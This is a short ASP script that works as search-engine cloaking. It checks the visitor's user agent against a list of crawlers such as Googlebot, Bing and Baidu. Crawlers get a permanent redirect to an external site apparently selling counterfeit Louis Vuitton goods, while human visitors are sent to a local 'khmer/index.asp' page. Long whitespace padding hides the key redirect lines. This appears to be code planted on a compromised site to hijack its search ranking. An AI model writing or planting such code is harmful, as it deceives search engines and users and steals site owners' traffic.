<%
Function check(user_agent)
																																														allow_agent=split("googlebot,Googlebot,GoogleBot,google,Google,aol,Aol,bing,Bing,yahoo,Yahoo,baiduspider,soso,sogou,sohu-search,yodao,robozilla,msnbot",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
if check(user_agent)=true then
																																																Response.Status = "301 Moved Permanently" 
																																																			Response.AddHeader "Location", "http://www.louisvuittonvegas.com"
Response.End
end if
	response.Redirect("khmer/index.asp")

%>